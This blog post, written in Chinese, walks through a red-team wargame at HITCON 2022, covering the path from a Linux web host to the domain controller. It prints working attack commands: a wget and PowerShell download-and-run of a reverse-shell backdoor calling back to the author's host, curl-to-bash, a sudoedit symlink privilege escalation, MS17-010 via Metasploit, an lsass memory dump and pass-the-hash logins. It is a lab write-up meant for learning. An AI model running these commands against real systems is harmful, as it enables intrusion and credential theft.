Playing RedTeam wargame in HITCON 2022 (created by 逢甲黑客社x台科資安社)

這次參加 HITCON PEACE 2022 路過逢甲黑客社x台科資安社的攤位時,發現他們今年準備的 wargame 裡有一個 Red Team 類別的題組,有三台主機,總共有四把 flag,主機包含 Linux * 1、Windows 10 (Workstation) * 1 和 Windows Server (Domain Controller) * 1,題組設計要從外網可連的 Linux 主機找到 Initial Access 到 Local Privilege Escalation 到 Lateral Movement 再到 Post-Exploitation 打下 Windows 主機,依序拿下所有 flag,這題組太吸引我了!只好開玩!

題目總共 4 把 flag,每一個 flag 其實都有對應階段的任務目標,完成後就會有權限拿到一把 flag:

  1. PathNotFound local.txt
    • 從外網在 Linux 主機上找到 Initial Access
  2. PathNotFound proof.txt
    • 在 Liunx 主機上 Privilege Escalation
  3. Old-ButGold proof.txt
    • 從 Linux 主機作 Lateral Movement 移動到內網的 Windows 10 主機
  4. DC-Final proof.txt
    • 在 Windows 10 主機作 Post-Exploitation 到取得 Windows Server (DC) 的權限

1. PathNotFound local.txt

題目有要求我們先自行在 /etc/hosts 設定 www.pathnotfound.hitcon 虛構網域指到對應的題目主機 IP,設定完就可以先使用起手式 nmap 掃描 port。

$ nmap -sT -sV -Pn -v www.pathnotfound.hitcon
Discovered open port 8080/tcp on www.pathnotfound.hitcon
Discovered open port 80/tcp on www.pathnotfound.hitcon
Discovered open port 3306/tcp on www.pathnotfound.hitcon

掃了許久,發現開啟的 port 有夠少,但至少有 web 服務可以讓身為 web 狗的我享用,於是迫不及待地在瀏覽器開啟網頁:

這主機也太脆弱了吧!才掃一下就撐不住了,好吧,我就先逛一下 twitter 等他復活,於是:

What the ..,原來掛的不是他主機,是我的手機網路。

借助小精靈的力量,我取得了 +9 高級網路,終於可以開始看題了,這次掃出了更多的 port,還有疑似有已知弱點的 548 port 的 Netatalk 服務,但現成 exploit 打下去沒有反應,不愧是挑戰,果然沒有這麼簡單,此時題目敘述發出了更新:

OK。

回到 80 port 服務,發現是安裝在 Apache 伺服器上的 WordPress。

於是先掏出 wpscan 神器開始背景掃描,用了以下指令開掃,可惜沒有發現特別的 plugin,使用者也只有 admin 一組帳號。

# 列舉使用者
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --enumerate u

# 掃描安裝的 plugin
wpscan --url http://www.pathnotfound.hitcon/ --disable-tls-checks --plugins-detection aggressive --enumerate p

既然如此,就用弱密碼字典檔進行暴力破解試試。

wpscan -U admin -P 10-million-password-list-top-10000.txt --url http://www.pathnotfound.hitcon/ --rua --password-attack xmlrpc

為了不浪費時間,連目錄也一起掃了!

dirsearch -u http://www.pathnotfound.hitcon/ -w combined_directories.txt

過了好一陣子都沒有什麼進展,看起來運氣不是很好,此時想起不是還有個 8080 嗎?馬上來看一下

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html
Content-Length: 10918
Connection: close

明明是 Nginx 伺服器,出現的卻是 Apache 的預設頁面!?

根據我精湛的推理,或許題目設計是將 Nginx 的根目錄指到 /var/www/html,而 Apache 的 WordPress 可能是安裝在其下的子資料夾 /var/www/html/xxxx?或許 Nginx 沒有設定 php-fpm?或許我只要找到正確的路徑就可以直接讀到 wp-config.php 檔案內容?或許 virtual host 藏有其他服務?總之先猜再說。於是我猜呀猜、也掃呀掃,但都沒有任何發現,no luck QQ。

$ curl -I http://www.pathnotfound.hitcon:8080/www.pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/www
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/pathnotfound.hitcon
HTTP/1.1 404 Not Found
$ curl -I http://www.pathnotfound.hitcon:8080/wordpress
HTTP/1.1 404 Not Found
...

$ curl -I -H 'Host: www.pathnotfound.hitcon' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H 'Host: pathnotfound.hitcon' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
$ curl -I -H 'Host: localhost' http://www.pathnotfound.hitcon:8080/
Content-Length: 10918
...

這樣漫無目的通靈下去似乎也不是辦法,於是決定去攤位找作者聊天,既然題目招牌寫著 Red Team,社交一下也是合情合理的吧。

於是得到了來自作者的暖心提示:「第一題只有 80 可打,而 WordPress 沒洞,不過其實還藏有其他服務」

OK,懂了。

召喚 Intruder 與 subdomains-top1million-5000.txt 字典檔開始掃 virtual host,稍等片刻後,賓果!所言果真不假。

直接拿 ExploitDB 的已知漏洞 Cuppa CMS - Local File Inclusion 開打。

可惜現代版本的 PHP 不太可能開 allow_url_include,好在這並不會影響我們,多虧 CTFer 們的黑魔法科技,一行 php:// wrapper 咒語讓 LFI 直接變身成 RCE。

Reference: https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

順帶一提,賽後和作者聊天時得知,預期解其實是要讀帳密後登 MySQL 改 WordPress 管理員密碼,再用 theme editor 寫 webshell 等很多個步驟,則是另外一個故事了。

總之終於得到第 1 把 flag,遊戲終於才算是正式開始。

$ cat /home/meow/local.txt
NTUST-ISC{0m9_Y0u_FiNd_7H3_rI9h7_P47h}

2. PathNotFound proof.txt

既然是 Red Team 當然少不了部署一個後門程式,最讓人興奮的莫過於使用自己製作的程式了!如果你沒看過我寫的 tsh-go,現在讓你看看:

GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go
Tiny SHell Go - An open-source backdoor written in Go - GitHub - CykuTW/tsh-go: Tiny SHell Go - An open-source backdoor written in Go

一行指令上線,立刻收到後門反向的連線,具備有完整 pty 可以操作,真是太興奮了!

$ cd /tmp;wget http://cyku.tw:8080/tshd -O tshd; chmod +x tshd; ./tshd -c cyku.tw -p 8081 -s matanene

[root@cyku tsh-go]$ ./tsh -s matanene -p 8081 cb
Waiting for the server to connect...connected.
www-data@ubuntu:/tmp$ id; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
ubuntu

接著就是尋找提權至 root 的方式,手動看一下近期常見的有洞工具,最安全簡單的大概是 pkexec,但它的版本有洞嗎?來看看版本:

www-data@ubuntu:/tmp$ pkexec --version
pkexec version 0.105

嗯 ... ...

應該可以跑ㄅ,反正 exploit 無副作用,總之先跑跑看 PwnKit

Shit.

只好再掏出秘密道具 \LinEnum/。

$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
[+] We can sudo without supplying a password!
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /usr/bin/sudoedit /var/www/M30W/*/*/config.php

很好,這個看起來機會大得多,恰好 www-data 使用者也有權限寫入 /var/www/M30W/wp-content/themes/ 資料夾,就是不確定 sudoedit 能不能接受 symbolic link,先來測試一下讀取 /etc/shadow。

www-data@ubuntu:~/$ ln -s /etc/shadow /var/www/M30W/wp-content/themes/config.php

www-data@ubuntu:~/$ sudo /usr/bin/sudoedit /var/www/M30W/wp-content/themes/config.php
root:$6$kIPOT7C/e.3IFtaS$xs96SHbM6TmEhixEEflIFsc80q0dP/8BEyymxuo60Mq8V..eP/yvK8OiQ38W2AxFJqKSorNQCdT/a/3KaE0.k0:19189:0:99999:7:::

完美,再加上題目提到的 2222 port 其實就是 OpenSSH 服務,可以直接寫入一把 SSH key 到 /root/.ssh/authorized_keys,用 root 身分透過 2222 port 登入 SSH 拿到 pty,也可以用來打 tunnel。因此順利拿到了第 2 把 flag。

$ ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222
root@ubuntu:~# cat /root/proof.txt
NTUST-ISC{cV3-2015-5602_15_FUnxDDDd}

3. Old-ButGold proof.txt

接下來就是進入橫向移動到 Windows 10 主機的階段了,題目有直接提供 Windows 10 的 IP,所以不用另外掃描,但我們沒有帳號密碼,還是得從目前的主機上找到可以使用的 credential,手動搜尋了一下,發現 WordPress 資料庫使用者看起來很可疑。

root@ubuntu:~# cat /var/www/M30W/wp-config.php
/** MySQL database username */
define( 'DB_USER', 'meow' );

/** MySQL database password */
define( 'DB_PASSWORD', 'meowmeowfatfat' );

腦補這組帳號密碼也存在 Windows 10 的本機使用者裡,並先試試登入 SMB 服務,雖然是成功登入了,可惜的是沒有任何權限,就是一般使用者。

# ssh root@www.pathnotfound.hitcon -i id_rsa -p 2222 -NfD 7777 

# echo 'socks5 127.0.0.1 7777' > proxychains.conf

# proxychains smbclient.py ./meow:meowmeowfatfat@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

Type help for list of commands
# use ADMIN$
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)

既然沒有權限,那就來嘗試一些老的 exploit,召喚 MS17-010!

# msfconsole
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.120.20
msf6 auxiliary(scanner/smb/smb_ms17_010) > set SMBUser meow
msf6 auxiliary(scanner/smb/smb_ms17_010) > set SMBPass meowmeowfatfat
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[+] 192.168.120.20:445     - Host is likely VULNERABLE to MS17-010! - Windows 10 Enterprise 14393 x64 (64-bit)
[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

再次賓果。

由於多虧有一組普通使用者帳號,可以使用 Metasploit 的 auxiliary/admin/smb/ms17_010_command 模組,該模組利用了 MS17-010 系列漏洞先 information leak 後檢查完才覆寫記憶體,不用擔心會造成目標 BSOD,實在是居家旅行的必備良藥。

簡單驗證一下,果然成功,太棒了!我們取得一個安全又可重複以 system 權限在目標 Windows 10 上執行系統指令的能力。

msf6 auxiliary(scanner/smb/smb_ms17_010) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set PROXIES socks5:127.0.0.1:7777
msf6 auxiliary(admin/smb/ms17_010_command) > set SMBUser meow
msf6 auxiliary(admin/smb/ms17_010_command) > set SMBPass meowmeowfatfat
msf6 auxiliary(admin/smb/ms17_010_command) > set COMMAND whoami
msf6 auxiliary(admin/smb/ms17_010_command) > set RHOSTS 192.168.120.20
msf6 auxiliary(admin/smb/ms17_010_command) > run
[*] 192.168.120.20:445     - Authenticating to 192.168.120.20 as user 'meow'...
NOTE: Rex::Socket.gethostbyname is deprecated, use getaddress, resolve_nbo, or similar instead. It will be removed in the next Major version
[*] 192.168.120.20:445     - Target OS: Windows 10 Enterprise 14393
[*] 192.168.120.20:445     - Built a write-what-where primitive...
[+] 192.168.120.20:445     - Overwrite complete... SYSTEM session obtained!
[+] 192.168.120.20:445     - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.120.20:445     - Getting the command output...
[*] 192.168.120.20:445     - Executing cleanup...
[+] 192.168.120.20:445     - Cleanup was successful
[+] 192.168.120.20:445     - Command completed successfully!
[*] 192.168.120.20:445     - Output for "whoami":

nt authority\system

[*] 192.168.120.20:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

於是迅速地加入一個本機使用者帳號,準備要用 wmiexec.py 登進去大殺特殺時,

# > net user precure 1qaz@WSX /add
# > net localgroup administrators precure /add

$ proxychains wmiexec.py ./precure:1qaz@WSX@192.168.120.20
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[-] rpc_s_access_denied

目標主機是 Windows 10,大概是 UAC 阻擋了我們,同時還有 Windows Defender 的存在,此時我們有很多條路可以選擇,例如:

  • 開啟 RDP,開放防火牆,登入
  • 彈一個 system 反連 shell
  • 強制關閉 UAC 但需要重啟
  • ... ... 等

但身為一名具有高道德心、專業意識的紅隊演練人員兼白帽駭客兼資深工程師兼資訊專家,我必須發揮我所有的聰明才智,選擇變動最小、不會影響到服務運作的手段。

因此我選擇了:

總之我拿到了第 3 把 flag。

# proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20
[proxychains] config file found: /root/wargame/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\meow\desktop\proof.txt
NTUST-ISC{0ld_BUT_90LD_R19Ht?}

Machine by aifred0729_TW

4. DC-Final proof.txt

終於來到最後一關的重頭戲 Domain Controller,為了方便後續操作,我再次部署了我的後門程式 tsh-go 在 Windows 10 主機上,沒錯!它支援 Windows,直接一行 PowerShell 上線。

# proxychains wmiexec.py ./administrator:1qaz@WSX3edc@192.168.120.20 -shell-type powershell
Impacket v0.9.25.dev1+20211027.123255.1dad8f7f - Copyright 2021 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\>Invoke-WebRequest -Uri 'http://cyku.tw:8080/tshd.exe' -OutFile 'C:\windows\temp\tshd.exe'; C:\windows\temp\tshd.exe -c cyku.tw -p 8082 -s matanene

有個讓人興奮的 pty 反連後門,可以開始做正事了,先確認目標有確實加入網域。

C:\>systeminfo

主機名稱:             OLD-BUTGOLD
作業系統名稱:         Microsoft Windows 10 企業版
作業系統版本:         10.0.14393 N/A 組建 14393
...
網域:                 NTUSTsec.hitcon

順便做一下後滲透 ( Post Exploitation ) 的工作,這個題組只要匯出 lsass.exe process 記憶體就可以得到下一步的線索,雖然只有一行 PowerShell 指令,但可是至關重要的一步呢!

C:\>tasklist /svc
lsass.exe                      576 KeyIso, Netlogon, SamSs, VaultSvc

C:\>powershell -c "rundll32.exe C:\\Windows\\System32\\comsvcs.dll, MiniDump 576 C:\Windows\Temp\lsass.dmp full"

個人愛好用 pypykatz 在 Linux 主機上直接分析。Yes!得到一組網域使用者和密碼雜湊。

# pypykatz lsa minidump lsass.dmp
== LogonSession ==
authentication_id 291158 (47156)
session_id 1
username old-cat
domainname NTUSTSEC
logon_server DC-FINAL
logon_time 2022-08-19T03:16:17.902758+00:00
sid S-1-5-21-894272653-2692002766-2005456273-1108
luid 291158
        == MSV ==
                Username: old-cat
                Domain: NTUSTSEC
                LM: NA
                NT: 0e989a5e07a70d89c1b68166f6e8ea01
                SHA1: 578a6ceab1172485361e7beb90a72e0258608fb1

接著是找到 DC 的 IP 位址 ...

C:\>nltest /dclist:NTUSTsec.hitcon
找不到可取得 DC 清單的 DC。Status = 1355 0x54b ERROR_NO_SUCH_DOMAIN
命令成功完成

一番尋找後,我還是想不出下一個關卡的線索在哪,只好再次使用最先進、最尖端的科技,工人智慧:

對,它壞了。

果然防禦駭客最好的方法就是拔除網路線。

作者協助確認後,似乎是目標的網路環境有點障礙,不過有提到 WinRM 服務應該還是正常的,只是必須要從 Windows 10 才可以連線到,不過這一切都不是問題,內建的指令兩行就可以搞定。

C:\>netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=45985 connectaddress=192.168.150.100 connectport=5985

C:\>netsh advfirewall firewall add rule name="Open Port 45985" dir=in action=allow protocol=TCP localport=45985
確定。

最後的最後,用從 lsass.exe 記憶體中取得的網域使用者和密碼雜湊,直接上 evil-winrm 取得第 4 把 flag,順利收工。

# proxychains evil-winrm -u old-cat -H 0e989a5e07a70d89c1b68166f6e8ea01 -i 192.168.120.20 -P 45985
Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\old-cat\Documents>type C:\Users\administrator\desktop\proof.txt
NTUST-ISC{M1m1K472_15_8357_700l}

Machine by aifred0729_TW

心得

真的很感謝作者 @aifred0729_TW 精心設計的這道題組,給了我很多樂趣,遊玩過程中真的讓我內心 waku waku 的,某些點有點通靈卻又很真實,有時候現實總是比小說還要離奇,尤其以 Red Team 為主的 wargame 個人覺得非常少見,畢竟要能建置出可以按照預期情境進行的環境,又要費心力照顧隨時可能被大家玩壞的機器,不禁讓人覺得是吃力不討好。總之真是太好玩了!

Show Comments